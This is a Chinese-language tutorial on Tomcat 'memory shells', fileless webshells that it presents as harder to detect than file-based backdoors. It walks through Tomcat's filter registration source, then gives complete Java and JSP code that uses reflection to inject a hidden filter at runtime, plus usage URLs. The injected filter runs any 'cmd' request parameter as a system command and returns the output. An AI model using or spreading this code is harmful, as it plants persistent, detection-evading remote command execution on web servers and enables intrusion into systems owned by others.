01内存马
- 为什么要使用内存马
- 有哪些类型的内存马
- 如何编写内存马
为什么要使用内存马
- 传统的webshell或以文件驻留的后门越来越容易被检测。
- 文件不落地,检测困难
有哪些类型的内存马
- 根据不同的容器都有自己对应的内存马
- tomcat
- weblogic
- 等
02Tomcat Filter内存马
- Filter是如何被创建的
- Filter是如何被执行的
- Filter是如何被销毁的(内存马暂时用不到)
Tomcat启动流程
- 从web.xml文件读取配置信息
流程
1.从webxml
读取配置
2.将FilterDef
加入context
ContextConfig#configureContext
for (FilterDef filter : webxml.getFilters().values()) { if (filter.getAsyncSupported() == null) { filter.setAsyncSupported("false"); } context.addFilterDef(filter); }
1.如果filterDef == null
我们需要设置三个东西
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
ApplicationContext
FilterDef filterDef = context.findFilterDef(filterName); // Assume a 'complete' FilterRegistration is one that has a class and // a name if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) { return null; } } if (filter == null) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); }
ContextConfig#configureContext
for (FilterMap filterMap : webxml.getFilterMappings()) { context.addFilterMap(filterMap); }
ContextConfig#processAnnotationWebFilter
FilterMap filterMap = new FilterMap();
总结
1.从web.xml中读取到tomcat filter配置信息
2.将过滤器类和name对应起来(FilterDef)
3.将URLPattern和name对应起来(FilterMap)
4.将FilterDef和FilterMap加入context
Tomcat Filter初始化流程
StandardContext#filterStart
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
public boolean filterStart() { if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters"); } // Instantiate and record a FilterConfig for each defined filter boolean ok = true; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.filterStart", name), t); ok = false; } } } return ok; }
Tomcat Filter执行流程
- 通过分析Filter执行,可以知道一个Filter需要哪些基本的数据
@WebFilter(filterName = "testFilter",urlPatterns = "/*") public class MyFilterDemo1 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter init"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("do Filter"); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
分析internalDoFilter
- filter是一个数组
- 利用下标进行遍历和匹配规则
- 通过
Filter
数组或者说通过FilterChain
找到第一个关键数据ApplicationFilterConfig
- 问题 :
FilterChain
是如何创建的?
创建一个FilterChain
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
创建过滤链:createFilterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { // If there is no servlet to execute, return null if (servlet == null) return null; // Create and initialize a filter chain object ApplicationFilterChain filterChain = null; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { // Security: Do not recycle filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { // Request dispatcher in use filterChain = new ApplicationFilterChain(); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); // Acquire the filter mappings for this Context //获取此上下文的筛选器映射 StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); // If there are no filter mappings, we are done if ((filterMaps == null) || (filterMaps.length == 0)) return (filterChain); // Acquire the information we will need to match filter mappings //获取匹配过滤器映射所需的信息 DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null){ requestPath = attribute.toString(); } String servletName = wrapper.getName(); // Add the relevant path-mapped filters to this filter chain //将相关路径映射筛选器添加到此筛选器链 for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Add filters that match on servlet name second //添加与servlet名称匹配的过滤器 for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersServlet(filterMaps[i], servletName)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Return the completed filter chain return filterChain; }
03Java代码实现伪代码
package cn.jl.demo; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.net.DispatchType; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; @WebFilter("/*") public class MyFilterDemo implements Filter { static { try{ final String name = "jl"; final String URLPath = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); MyFilterDemo myFilterDemo = new MyFilterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(myFilterDemo); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); }catch (Exception ex){ ex.printStackTrace(); } } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }
http://localhost:8080/xx.jsp?cmd=whoami
04JSP代码分析
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% //设置<filter-name> final String name = "jl"; //获取filterConfigs ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null) { //这里实现filter Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }; //设置FilterDef FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); //设置FilterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterDef(filterDef); standardContext.addFilterMapBefore(filterMap); //将FilterConfig加入FilterConfigs中 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } %>
http://localhost/filter.jsp
http://localhost/1.jsp?cmd=whoami
参考链接
https://xz.aliyun.com/t/10362#toc-6